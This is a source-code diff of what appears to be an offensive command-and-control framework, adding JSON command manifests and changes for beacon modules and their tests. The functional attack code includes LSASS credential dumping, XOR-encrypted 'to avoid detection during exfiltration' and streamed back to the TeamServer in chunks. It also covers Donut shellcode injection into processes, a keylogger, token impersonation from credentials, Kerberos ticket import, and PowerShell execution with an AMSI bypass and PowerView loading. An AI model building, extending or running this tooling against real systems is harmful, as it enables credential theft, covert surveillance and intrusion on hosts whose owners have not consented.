std::vector<std::string> cmd = {"inject", "-e", dummyPath.string(), "1234", "alpha", "beta gamma"};
std::vector<std::string> cmd = {"inject", "--donut-exe", dummyPath.string(), "--pid", "1234", "--", "alpha", "beta gamma"};
C2Message message;
ok &= expect(module.init(cmd, message) == 0, "dummy exe should be accepted by Donut EXE mode");
ok &= expectInjectMessage(message, dummyPath, 1234, "alpha beta gamma", "dummy exe Donut mode with args");
ok &= expect(module.init(cmd, message) == -1, "dummy exe Donut mode should be prepared by TeamServer");
ok &= expect(message.returnvalue().find("TeamServer shellcode service") != std::string::npos, "dummy exe Donut mode should explain TeamServer preparation");
ok &= expectPreparedDonutMessage(
dummyPath,
1234,
"alpha beta gamma",
currentArch,
"--donut-exe " + dummyPath.string() + " --pid 1234 -- alpha beta gamma",
"dummy exe TeamServer-prepared Donut inject");
}
{
ok &= expectPreparedDonutMessage(
dummyPath,
-1,
"--spawn",
currentArch,
"--donut-exe " + dummyPath.string() + " --pid -1 -- --spawn",
"dummy exe TeamServer-prepared Donut spawn inject");
}
{
+14
View File
@@ -0,0 +1,14 @@
{
"name": "ipConfig",
"display_name": "ipConfig",
"kind": "module",
"description": "Show network interface configuration on the beacon.",
"command_template": "ipConfig",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [],
"examples": ["ipConfig"],
"source": "manifest"
}
@@ -67,12 +67,12 @@ KerberosUseTicket::~KerberosUseTicket()
std::string KerberosUseTicket::getInfo()
{
std::string info;
#ifdef BUILD_TEAMSERVER
info += "KerberosUseTicket:\n";
info += "Import a kerberos ticket from a file to the curent LUID. \n";
info += "exemple:\n";
info += "- KerberosUseTicket /tmp/ticket.kirbi\n";
#endif
#ifdef BUILD_TEAMSERVER
info += "KerberosUseTicket:\n";
info += "Import a kerberos ticket upload artifact to the curent LUID. \n";
info += "exemple:\n";
info += "- kerberosUseTicket ticket.kirbi\n";
#endif
return info;
}
@@ -188,4 +188,4 @@ std::string KerberosUseTicket::importTicket(const std::string& ticket)
#endif
return result;
}
}
@@ -0,0 +1,32 @@
{
"name": "kerberosUseTicket",
"display_name": "kerberosUseTicket",
"kind": "module",
"description": "Import a Kerberos ticket upload artifact into the current LUID.",
"command_template": "kerberosUseTicket {ticket_artifact:q}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "ticket_artifact",
"type": "artifact",
"required": true,
"description": ".kirbi ticket artifact from UploadedArtifacts.",
"artifact_filter": {
"category": "upload",
"scope": "operator",
"target": "beacon",
"platform": "session.platform",
"arch": "session.arch",
"runtime": "file",
"name_contains": ".kirbi"
}
}
],
"examples": [
"kerberosUseTicket ticket.kirbi"
],
"source": "manifest"
}
+26
View File
@@ -0,0 +1,26 @@
{
"name": "keyLogger",
"display_name": "keyLogger",
"kind": "module",
"description": "Start, stop, or locally dump the keylogger buffer.",
"command_template": "keyLogger {action}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "action",
"type": "enum",
"required": true,
"description": "Keylogger action. dump is handled locally by the TeamServer module instance.",
"values": ["start", "stop", "dump"]
}
],
"examples": [
"keyLogger start",
"keyLogger stop",
"keyLogger dump"
],
"source": "manifest"
}
+23
View File
@@ -0,0 +1,23 @@
{
"name": "killProcess",
"display_name": "killProcess",
"kind": "module",
"description": "Terminate a process on the beacon host by PID.",
"command_template": "killProcess {pid}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "pid",
"type": "number",
"required": true,
"description": "Process id to terminate."
}
],
"examples": [
"killProcess 4242"
],
"source": "manifest"
}
+26
View File
@@ -0,0 +1,26 @@
{
"name": "ls",
"display_name": "ls",
"kind": "module",
"description": "List the contents of a directory on the beacon.",
"command_template": "ls {path:q?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "path",
"type": "path",
"required": false,
"description": "Remote directory path. Defaults to the beacon current working directory.",
"variadic": true
}
],
"examples": [
"ls",
"ls /tmp",
"ls C:\\Users\\Public"
],
"source": "manifest"
}
+14
View File
@@ -0,0 +1,14 @@
{
"name": "ps",
"display_name": "ps",
"kind": "module",
"description": "List running processes on the beacon.",
"command_template": "ps",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [],
"examples": ["ps"],
"source": "manifest"
}
+29
View File
@@ -0,0 +1,29 @@
{
"name": "makeToken",
"display_name": "makeToken",
"kind": "module",
"description": "Create and impersonate a token from explicit credentials.",
"command_template": "makeToken {username:q} {password:q}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "username",
"type": "text",
"required": true,
"description": "Username in Username or DOMAIN\\Username form."
},
{
"name": "password",
"type": "text",
"required": true,
"description": "Password for the supplied username."
}
],
"examples": [
"makeToken DOMAIN\\Username Password123!"
],
"source": "manifest"
}
+53 -19
View File
@@ -1,7 +1,9 @@
#include "MiniDump.hpp"
#include <algorithm>
#include <cstring>
#include <array>
#include <utility>
#include <vector>
#ifdef _WIN32
@@ -23,6 +25,7 @@ using namespace std;
constexpr std::string_view moduleName = "miniDump";
constexpr unsigned long long moduleHash = djb2(moduleName);
constexpr std::size_t CHUNK_SIZE = 1 * 1024 * 1024;
#ifdef _WIN32
@@ -169,7 +172,7 @@ __attribute__((visibility("default"))) MiniDump* MiniDumpConstructor()
MiniDump::MiniDump()
#ifdef BUILD_TEAMSERVER
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
@@ -188,18 +191,18 @@ MiniDump::~MiniDump()
std::string MiniDump::getInfo()
{
std::string info;
#ifdef BUILD_TEAMSERVER
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
info += "MiniDump Module:\n";
info += "This module allows you to dump the LSASS process memory and output it as a file that is XOR-encrypted for evasion purposes.\n";
info += "The XORed dump file will be saved in the current directory. You can then decrypt it, once downloaded in the TeamServer, using the 'decrypt' command.\n\n";
info += "Dump the LSASS process memory and return it as an XOR-encrypted generated TeamServer artifact.\n";
info += "The XORed dump can then be decrypted locally with the decrypt action.\n\n";
info += "Usage:\n";
info += " miniDump dump dmpFile.xored\n";
info += " - Dumps LSASS memory to an XOR-encrypted file (e.g., ./dmpFile.xored)\n\n";
info += " miniDump dump [artifactName]\n";
info += " - Dumps LSASS memory to an XOR-encrypted generated artifact (e.g., lsass.xored)\n\n";
info += " miniDump decrypt <path_to_xored_dump>\n";
info += " - Decrypts the specified XORed dump file for analysis (e.g., miniDump decrypt /tmp/dmpFile.xored)\n\n";
info += "Note:\n";
info += " - The dump file is XOR-encoded to avoid detection during exfiltration.\n";
info += " - Use the 'decrypt' command locally after download to convert it back to a usable minidump.\n";
info += " - Use the 'decrypt' command locally to convert it back to a usable minidump.\n";
#endif
return info;
}
@@ -212,7 +215,7 @@ std::string xorKey = "nY5LkT7dXmiWeF2QApDLMQmnHaCR4VzsC6zuN3QgZtTqU7qaaf";
int MiniDump::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS)
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
if(splitedCmd.size() == 3 && splitedCmd[1]=="dump")
{
@@ -271,6 +274,42 @@ int MiniDump::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
return 0;
}
int MiniDump::emitChunk(C2Message& c2RetMessage)
{
if (m_dumpBuffer.empty() || m_bytesSent >= m_dumpBuffer.size())
return 0;
const std::size_t totalSize = m_dumpBuffer.size();
const std::size_t chunkSize = std::min(CHUNK_SIZE, totalSize - m_bytesSent);
c2RetMessage.set_instruction(std::to_string(moduleHash));
c2RetMessage.set_cmd("");
c2RetMessage.set_uuid(m_taskUuid);
c2RetMessage.set_outputfile(m_outputfile);
c2RetMessage.set_args(m_bytesSent == 0 ? "0" : "1");
c2RetMessage.set_data(m_dumpBuffer.data() + m_bytesSent, chunkSize);
m_bytesSent += chunkSize;
if (m_bytesSent == totalSize)
{
c2RetMessage.set_returnvalue("Success");
m_outputfile.clear();
m_taskUuid.clear();
m_dumpBuffer.clear();
m_bytesSent = 0;
}
else
{
c2RetMessage.set_returnvalue(std::to_string(m_bytesSent) + "/" + std::to_string(totalSize));
}
return 1;
}
int MiniDump::recurringExec(C2Message& c2RetMessage)
{
return emitChunk(c2RetMessage);
}
#ifdef _WIN32
@@ -823,16 +862,11 @@ int MiniDump::process(C2Message &c2Message, C2Message &c2RetMessage)
XOR(dumpfile, xorKey);
// Save to file
std::string dmpFileName = c2Message.outputfile();
bool writeOk = WriteStringToFile(dmpFileName, dumpfile);
if(!writeOk)
{
c2RetMessage.set_errorCode(ERROR_WRITE_OUTPUT_FILE);
return -1;
}
c2RetMessage.set_returnvalue("Success");
m_outputfile = c2Message.outputfile();
m_taskUuid = c2Message.uuid();
m_dumpBuffer = std::move(dumpfile);
m_bytesSent = 0;
emitChunk(c2RetMessage);
return 0;
}
@@ -863,4 +897,4 @@ int MiniDump::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMs
}
#endif
return 0;
}
}
+7 -1
View File
@@ -13,6 +13,7 @@ public:
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int recurringExec(C2Message& c2RetMessage) override;
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int osCompatibility()
@@ -21,7 +22,12 @@ public:
}
private:
int emitChunk(C2Message& c2RetMessage);
std::string m_outputfile;
std::string m_taskUuid;
std::string m_dumpBuffer;
std::size_t m_bytesSent = 0;
};
+32
View File
@@ -0,0 +1,32 @@
{
"name": "miniDump",
"display_name": "miniDump",
"kind": "module",
"description": "Dump LSASS to an XORed generated TeamServer artifact, or decrypt an XORed dump locally.",
"command_template": "miniDump {action} {artifact_name:q?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "action",
"type": "enum",
"required": true,
"description": "MiniDump action.",
"values": ["dump", "decrypt"]
},
{
"name": "artifact_name",
"type": "path",
"required": false,
"description": "Optional generated artifact filename hint for dump, or input XORed dump path for decrypt."
}
],
"examples": [
"miniDump dump",
"miniDump dump lsass.xored",
"miniDump decrypt /tmp/lsass.xored"
],
"source": "manifest"
}
+23 -2
View File
@@ -1,6 +1,7 @@
#include "../MiniDump.hpp"
#include <fstream>
#include <vector>
#ifdef __linux__
#elif _WIN32
@@ -26,5 +27,25 @@ int main()
bool testMinidump()
{
return true;
}
bool ok = true;
{
MiniDump module;
std::vector<std::string> cmd = {"miniDump", "dump", "lsass.xored"};
C2Message message;
ok &= module.init(cmd, message) == 0;
ok &= message.instruction() == "miniDump";
ok &= message.cmd() == "0";
ok &= message.outputfile() == "lsass.xored";
}
{
MiniDump module;
std::vector<std::string> cmd = {"miniDump", "dump"};
C2Message message;
ok &= module.init(cmd, message) == -1;
ok &= message.returnvalue().find("MiniDump") != std::string::npos;
}
return ok;
}
+25
View File
@@ -0,0 +1,25 @@
{
"name": "mkDir",
"display_name": "mkDir",
"kind": "module",
"description": "Create a remote directory on the beacon.",
"command_template": "mkDir {path:q}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "path",
"type": "path",
"required": true,
"description": "Remote directory path.",
"variadic": true
}
],
"examples": [
"mkDir /tmp/work",
"mkDir C:\\Temp\\work"
],
"source": "manifest"
}
+2
View File
@@ -1,4 +1,6 @@
#pragma once
#include <base64.h>
#include "nlohmann/json.hpp"
@@ -0,0 +1,14 @@
{
"name": "end",
"display_name": "end",
"kind": "common",
"description": "Terminate the beacon process.",
"command_template": "end",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [],
"examples": ["end"],
"source": "manifest"
}
@@ -0,0 +1,25 @@
{
"name": "help",
"display_name": "help",
"kind": "common",
"description": "Show available commands or command-specific help in the beacon console.",
"command_template": "help {command?}",
"target": "operator",
"requires_session": false,
"platforms": ["any"],
"archs": ["any"],
"args": [
{
"name": "command",
"type": "text",
"required": false,
"description": "Optional command name."
}
],
"examples": [
"help",
"help loadModule",
"help listener"
],
"source": "manifest"
}
@@ -0,0 +1,14 @@
{
"name": "listModule",
"display_name": "listModule",
"kind": "common",
"description": "List modules currently tracked for the active beacon session.",
"command_template": "listModule",
"target": "operator",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [],
"examples": ["listModule"],
"source": "manifest"
}
@@ -0,0 +1,45 @@
{
"name": "listener",
"display_name": "listener",
"kind": "common",
"description": "Start or stop a TCP/SMB listener on the beacon.",
"command_template": "listener {action} {type_or_hash} {host_or_pipe:q?} {tcp_port?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "action",
"type": "enum",
"required": true,
"description": "Listener action.",
"values": ["start", "stop"]
},
{
"name": "type_or_hash",
"type": "text",
"required": true,
"description": "Listener type for start, or listener hash for stop.",
"values": ["tcp", "smb"]
},
{
"name": "host_or_pipe",
"type": "text",
"required": false,
"description": "TCP host/IP for start tcp, or SMB pipe name for start smb."
},
{
"name": "tcp_port",
"type": "text",
"required": false,
"description": "TCP port for start tcp. Not used for SMB."
}
],
"examples": [
"listener start tcp 10.2.4.8 4444",
"listener start smb pipe1",
"listener stop <listener_hash>"
],
"source": "manifest"
}
@@ -0,0 +1,31 @@
{
"name": "loadModule",
"display_name": "loadModule",
"kind": "common",
"description": "Load a beacon module into the current session.",
"command_template": "loadModule {module:q}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["x86", "x64", "arm64", "any"],
"args": [
{
"name": "module",
"type": "artifact",
"required": true,
"description": "Module artifact compatible with the current session.",
"artifact_filter": {
"category": "module",
"target": "beacon",
"platform": "session.platform",
"arch": "session.arch",
"runtime": "native"
}
}
],
"examples": [
"loadModule Inject.dll",
"loadModule pwd"
],
"source": "manifest"
}
@@ -0,0 +1,21 @@
{
"name": "sleep",
"display_name": "sleep",
"kind": "common",
"description": "Set the beacon sleep interval in seconds.",
"command_template": "sleep {seconds}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "seconds",
"type": "number",
"required": true,
"description": "Sleep interval in seconds."
}
],
"examples": ["sleep 0.5"],
"source": "manifest"
}
@@ -0,0 +1,24 @@
{
"name": "unloadModule",
"display_name": "unloadModule",
"kind": "common",
"description": "Unload a previously loaded beacon module from the current session.",
"command_template": "unloadModule {module_name}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [
{
"name": "module_name",
"type": "text",
"required": true,
"description": "Loaded module command name."
}
],
"examples": [
"unloadModule pwd",
"unloadModule assemblyExec"
],
"source": "manifest"
}
+59 -20
View File
@@ -1,5 +1,7 @@
#pragma once
#include <cmath>
#include <stdexcept>
#include <string>
#include <vector>
#include <random>
@@ -44,6 +46,46 @@ const std::string CmdStatusSuccess = "Success";
const std::string CmdStatusFail = "Fail";
const std::string CmdModuleNotFound = "Module not loaded";
static inline bool parseTcpListenerPort(const std::string& value, int& port)
{
if (value.empty())
return false;
std::size_t parsed = 0;
try
{
int parsedPort = std::stoi(value, &parsed);
if (parsed != value.size() || parsedPort < 1 || parsedPort > 65535)
return false;
port = parsedPort;
return true;
}
catch (const std::exception&)
{
return false;
}
}
static inline bool parseSleepSeconds(const std::string& value, float& seconds)
{
if (value.empty())
return false;
std::size_t parsed = 0;
try
{
float parsedSeconds = std::stof(value, &parsed);
if (parsed != value.size() || !std::isfinite(parsedSeconds) || parsedSeconds < 0.0f)
return false;
seconds = parsedSeconds;
return true;
}
catch (const std::exception&)
{
return false;
}
}
#ifdef BUILD_TEAMSERVER
@@ -131,8 +173,9 @@ class CommonCommands
output += " Examples:\n";
output += " - listener start tcp <IP> <port>\n";
output += " - listener start tcp 10.2.4.8 4444\n";
output += " - listener start smb <IP/hostname> <pipename>\n";
output += " - listener start smb pipename\n";
output += " Port must be an integer between 1 and 65535.\n";
output += " - listener start smb <pipename>\n";
output += " - listener start smb pipe1\n";
}
else if (cmd == LoadC2ModuleCmd)
{
@@ -173,14 +216,10 @@ class CommonCommands
{
if(splitedCmd.size()==2)
{
float sleepTimeSec=5;
try
float sleepTimeSec=0.0f;
if (!parseSleepSeconds(splitedCmd[1], sleepTimeSec))
{
sleepTimeSec = atof(splitedCmd[1].c_str());
}
catch (const std::invalid_argument& ia)
{
std::cerr << "Invalid argument: " << ia.what() << '\n';
c2Message.set_returnvalue("Error: Invalid sleep interval. Expected a numeric value greater than or equal to 0.");
return -1;
}
c2Message.set_instruction(SleepCmd);
@@ -214,13 +253,9 @@ class CommonCommands
{
std::string host = splitedCmd[3];
int port=-1;
try
if (!parseTcpListenerPort(splitedCmd[4], port))
{
port = std::atoi(splitedCmd[4].c_str());
}
catch (const std::invalid_argument& ia)
{
std::cerr << "Invalid argument: " << ia.what() << '\n';
c2Message.set_returnvalue("Error: Invalid TCP listener port. Expected an integer between 1 and 65535.");
return -1;
}
@@ -243,15 +278,14 @@ class CommonCommands
}
else if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerSmbType)
{
if(splitedCmd.size()==5)
if(splitedCmd.size()==4)
{
std::string host = splitedCmd[3];
std::string pipeName = splitedCmd[4];
std::string pipeName = splitedCmd[3];
std::string cmd = StartCmd;
cmd+=" ";
cmd+=ListenerSmbType;
cmd+=" ";
cmd+=host;
cmd+="beacon";
cmd+=" ";
cmd+=pipeName;
c2Message.set_instruction(ListenerCmd);
@@ -259,7 +293,7 @@ class CommonCommands
}
else
{
std::string errorMsg = "listener smb start: not enough arguments";
std::string errorMsg = "Usage: listener start smb <pipe_name>";
c2Message.set_returnvalue(errorMsg);
return -1;
}
@@ -299,6 +333,11 @@ class CommonCommands
if(!input && !isWindows)
{
std::string newInputFile = m_linuxModulesDirectoryPath;
if (!windowsArch.empty())
{
newInputFile += windowsArch;
newInputFile += "/";
}
newInputFile+=inputFile;
input.open(newInputFile, std::ios::binary);
resolvedModulePath = newInputFile;
+19
View File
@@ -14,6 +14,17 @@
#include <C2Message.hpp>
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
struct ModulePreparedShellcodeTask
{
std::string inputFile;
std::string payload;
std::string executionMode;
std::string displayCommand;
int pid = -1;
};
#endif
enum OSCompatibility {
OS_NONE = 0,
@@ -104,6 +115,14 @@ public:
// if an error ocurre:
// set_returnvalue(errorMsg) && return -1
virtual int init(std::vector<std::string>& splitedCmd, C2Message& c2Message) = 0;
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
virtual int initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message)
{
(void)task;
c2Message.set_returnvalue("Prepared shellcode tasks are not supported by this module.");
return -1;
};
#endif
virtual int initConfig(const nlohmann::json &config) {return 0;};
virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0;
virtual int followUp(const C2Message &c2RetMessage) {return 0;};
+96 -75
View File
@@ -1,7 +1,9 @@
#pragma once
#include <string>
#include <vector>
#pragma once
#include <algorithm>
#include <cstdio>
#include <string>
#include <vector>
#ifdef __linux__
#include <sys/mman.h>
@@ -478,22 +480,32 @@ int static inline patchAmsiPowershell()
}
class StdCapture
{
public:
StdCapture(): m_capturing(false), m_init(false), m_oldStdOut(0), m_oldStdErr(0)
{
m_pipe[READ] = 0;
m_pipe[WRITE] = 0;
if (_pipe(m_pipe, 1048576, O_BINARY) == -1)
return;
m_oldStdOut = dup(fileno(stdout));
m_oldStdErr = dup(fileno(stderr));
if (m_oldStdOut == -1 || m_oldStdErr == -1)
return;
m_init = true;
}
class StdCapture
{
public:
StdCapture(): m_capturing(false), m_init(false), m_oldStdOut(0), m_oldStdErr(0),
m_oldStdOutHandle(INVALID_HANDLE_VALUE), m_oldStdErrHandle(INVALID_HANDLE_VALUE),
m_pipeReadHandle(INVALID_HANDLE_VALUE), m_pipeWriteHandle(INVALID_HANDLE_VALUE)
{
m_pipe[READ] = 0;
m_pipe[WRITE] = 0;
if (_pipe(m_pipe, 1048576, O_BINARY) == -1)
return;
m_oldStdOut = dup(fileno(stdout));
m_oldStdErr = dup(fileno(stderr));
if (m_oldStdOut == -1 || m_oldStdErr == -1)
return;
m_pipeReadHandle = reinterpret_cast<HANDLE>(_get_osfhandle(m_pipe[READ]));
m_pipeWriteHandle = reinterpret_cast<HANDLE>(_get_osfhandle(m_pipe[WRITE]));
if (m_pipeReadHandle == INVALID_HANDLE_VALUE || m_pipeWriteHandle == INVALID_HANDLE_VALUE)
return;
m_oldStdOutHandle = GetStdHandle(STD_OUTPUT_HANDLE);
m_oldStdErrHandle = GetStdHandle(STD_ERROR_HANDLE);
m_init = true;
}
~StdCapture()
{
@@ -512,55 +524,60 @@ public:
}
void BeginCapture()
{
if (!m_init)
return;
if (m_capturing)
EndCapture();
fflush(stdout);
fflush(stderr);
dup2(m_pipe[WRITE], fileno(stdout));
dup2(m_pipe[WRITE], fileno(stderr));
m_capturing = true;
}
bool EndCapture()
{
if (!m_init)
return false;
if (!m_capturing)
return false;
fflush(stdout);
fflush(stderr);
dup2(m_oldStdOut, fileno(stdout));
dup2(m_oldStdErr, fileno(stderr));
m_captured.clear();
std::string buf;
const int bufSize = 1024;
buf.resize(bufSize);
int bytesRead = 0;
if (!eof(m_pipe[READ]))
{
bytesRead = read(m_pipe[READ], &(*buf.begin()), bufSize);
}
while(bytesRead == bufSize)
{
m_captured += buf;
bytesRead = 0;
if (!eof(m_pipe[READ]))
{
bytesRead = read(m_pipe[READ], &(*buf.begin()), bufSize);
}
}
if (bytesRead > 0)
{
buf.resize(bytesRead);
m_captured += buf;
}
return true;
}
void BeginCapture()
{
if (!m_init)
return;
if (m_capturing)
EndCapture();
m_captured.clear();
fflush(stdout);
fflush(stderr);
dup2(m_pipe[WRITE], fileno(stdout));
dup2(m_pipe[WRITE], fileno(stderr));
SetStdHandle(STD_OUTPUT_HANDLE, m_pipeWriteHandle);
SetStdHandle(STD_ERROR_HANDLE, m_pipeWriteHandle);
m_capturing = true;
}
void DrainCapture()
{
if (!m_init || m_pipeReadHandle == INVALID_HANDLE_VALUE)
return;
for (;;)
{
DWORD bytesAvailable = 0;
if (!PeekNamedPipe(m_pipeReadHandle, NULL, 0, NULL, &bytesAvailable, NULL) || bytesAvailable == 0)
break;
const int bytesToRead = static_cast<int>(std::min<DWORD>(bytesAvailable, 4096));
std::string buf;
buf.resize(bytesToRead);
const int bytesRead = read(m_pipe[READ], &(*buf.begin()), bytesToRead);
if (bytesRead <= 0)
break;
buf.resize(bytesRead);
m_captured += buf;
}
}
bool EndCapture()
{
if (!m_init)
return false;
if (!m_capturing)
return false;
fflush(stdout);
fflush(stderr);
dup2(m_oldStdOut, fileno(stdout));
dup2(m_oldStdErr, fileno(stderr));
SetStdHandle(STD_OUTPUT_HANDLE, m_oldStdOutHandle);
SetStdHandle(STD_ERROR_HANDLE, m_oldStdErrHandle);
DrainCapture();
m_capturing = false;
return true;
}
std::string GetCapture() const
{
@@ -578,12 +595,16 @@ public:
private:
enum PIPES { READ, WRITE };
int m_pipe[2];
int m_oldStdOut;
int m_oldStdErr;
bool m_capturing;
bool m_init;
std::string m_captured;
};
int m_oldStdOut;
int m_oldStdErr;
HANDLE m_oldStdOutHandle;
HANDLE m_oldStdErrHandle;
HANDLE m_pipeReadHandle;
HANDLE m_pipeWriteHandle;
bool m_capturing;
bool m_init;
std::string m_captured;
};
// https://www.codeproject.com/Tips/139349/Getting-the-address-of-a-function-in-a-DLL-loaded
+14
View File
@@ -0,0 +1,14 @@
{
"name": "netstat",
"display_name": "netstat",
"kind": "module",
"description": "Show active network connections on the beacon.",
"command_template": "netstat",
"target": "beacon",
"requires_session": true,
"platforms": ["windows", "linux"],
"archs": ["any"],
"args": [],
"examples": ["netstat"],
"source": "manifest"
}
+27 -3
View File
@@ -199,6 +199,7 @@ std::string Powershell::getInfo()
info += "To be sure to get the output of the commande do 'cmd | write-output'.\n";
info += "You can import module using -i, added as New-Module at every execution.\n";
info += "You run scripts using -s.\n";
info += "Script files for -i and -s are resolved from Scripts/Windows or Scripts/Any.\n";
info += "AMSI bypass by patching the amsi.dll will work once for all.\n";
info += "exemple:\n";
info += " - powershell whoami | write-output\n";
@@ -265,7 +266,7 @@ int Powershell::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
payload += "Invoke-Command -ScriptBlock {\n";
payload += fileContent;
payload += "};";
payload += "\n};";
}
c2Message.set_data(payload.data(), payload.size());
@@ -296,12 +297,31 @@ int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage)
m_modulesToImport+=buffer;
std::string outCmd = execPowershell(m_modulesToImport);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_instruction(c2Message.instruction());
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue(outCmd);
return 0;
}
if(splitedCmd[0]=="-s")
{
const std::string buffer = c2Message.data();
if (buffer.empty())
{
c2RetMessage.set_instruction(c2Message.instruction());
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue("Missing PowerShell script payload.");
return 0;
}
std::string finalCmd = m_modulesToImport;
finalCmd += buffer;
std::string outCmd = execPowershell(finalCmd);
c2RetMessage.set_instruction(c2Message.instruction());
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue(outCmd);
return 0;
}
}
std::string finalCmd = m_modulesToImport;
@@ -309,7 +329,7 @@ int Powershell::process(C2Message &c2Message, C2Message &c2RetMessage)
std::string outCmd = execPowershell(finalCmd);
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_instruction(c2Message.instruction());
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue(outCmd);
@@ -416,6 +436,10 @@ std::string Powershell::execPowershell(const std::string& cmd)
#ifdef __linux__
#if defined(C2CORE_BUILD_TESTS)
result = cmd;
#endif
#elif _WIN32
+54
View File
@@ -0,0 +1,54 @@
{
"name": "powershell",
"display_name": "powershell",
"kind": "module",
"description": "Execute a PowerShell command, import a script module, or run a TeamServer-managed script artifact.",
"command_template": "powershell [-i {i:q}] [-s {s:q}] {command:raw?}",
"target": "beacon",
"requires_session": true,
"platforms": ["windows"],
"archs": ["x86", "x64", "arm64"],
"args": [
{
"name": "-i",
"type": "flag",
"required": false,
"description": "Import a PowerShell script artifact as a module.",
"artifact_filter": {
"category": "script",
"scope": "server",
"target": "beacon",
"platform": "windows",
"runtime": "powershell",
"name_contains": ".ps1"
}
},
{
"name": "-s",
"type": "flag",
"required": false,
"description": "Run a PowerShell script artifact.",
"artifact_filter": {
"category": "script",
"scope": "server",
"target": "beacon",
"platform": "windows",
"runtime": "powershell",
"name_contains": ".ps1"
}
},
{
"name": "command",
"type": "text",
"required": false,
"description": "Inline PowerShell command.",
"variadic": true
}
],
"examples": [
"powershell whoami | write-output",
"powershell -i PowerView.ps1",
"powershell -s collect.ps1"
],
"source": "manifest"
}
@@ -96,6 +96,36 @@ int main()
std::filesystem::remove(script);
}
{
Powershell module;
C2Message message;
message.set_instruction("powershell");
message.set_cmd("-s missing-payload.ps1 ");
C2Message retMessage;
ok &= expect(module.process(message, retMessage) == 0, "script command without payload should process");
ok &= expect(retMessage.instruction() == "powershell", "script command without payload should preserve instruction");
ok &= expect(retMessage.cmd() == message.cmd(), "script command without payload should preserve command");
ok &= expectContains(retMessage.returnvalue(), "Missing PowerShell script payload", "script command without payload should explain failure");
}
#if defined(__linux__) && defined(C2CORE_BUILD_TESTS)
{
Powershell module;
C2Message message;
message.set_instruction("powershell");
message.set_cmd("-s testScript.ps1 ");
message.set_data("Invoke-Command -ScriptBlock {\nWrite-Output \"script-process-ok\"\n};");
C2Message retMessage;
ok &= expect(module.process(message, retMessage) == 0, "script payload should process");
ok &= expect(retMessage.instruction() == "powershell", "script payload should preserve instruction");
ok &= expect(retMessage.cmd() == message.cmd(), "script payload should preserve display command");
ok &= expectContains(retMessage.returnvalue(), "script-process-ok", "script payload should be the executed command");
ok &= expect(retMessage.returnvalue().find("-s testScript.ps1") == std::string::npos, "script payload should not execute the -s display command");
}
#endif
#ifdef _WIN32
{
Powershell module;
@@ -134,6 +164,21 @@ int main()
std::filesystem::remove(script);
}
{
const auto script = writeTempFile("c2core_powershell_exec_script.ps1", "Write-Output \"script-exec-ok\"\n");
Powershell module;
std::vector<std::string> cmd = {"powershell", "-s", script.string()};
C2Message message;
C2Message retMessage;
ok &= expect(module.init(cmd, message) == 0, "script execution file should be accepted");
ok &= expect(module.process(message, retMessage) == 0, "script execution file should process");
ok &= expectContains(retMessage.returnvalue(), "script-exec-ok", "script execution output should be captured");
ok &= expect(retMessage.cmd() == message.cmd(), "script execution return message should preserve command");
std::filesystem::remove(script);
}
#endif
return ok ? 0 : 1;
+14
View File
@@ -0,0 +1,14 @@
{
"name": "pwd",
"display_name": "pwd",
"kind": "module",
"description": "Print the current working directory on the beacon.",
"command_template": "pwd",
"target": "beacon",
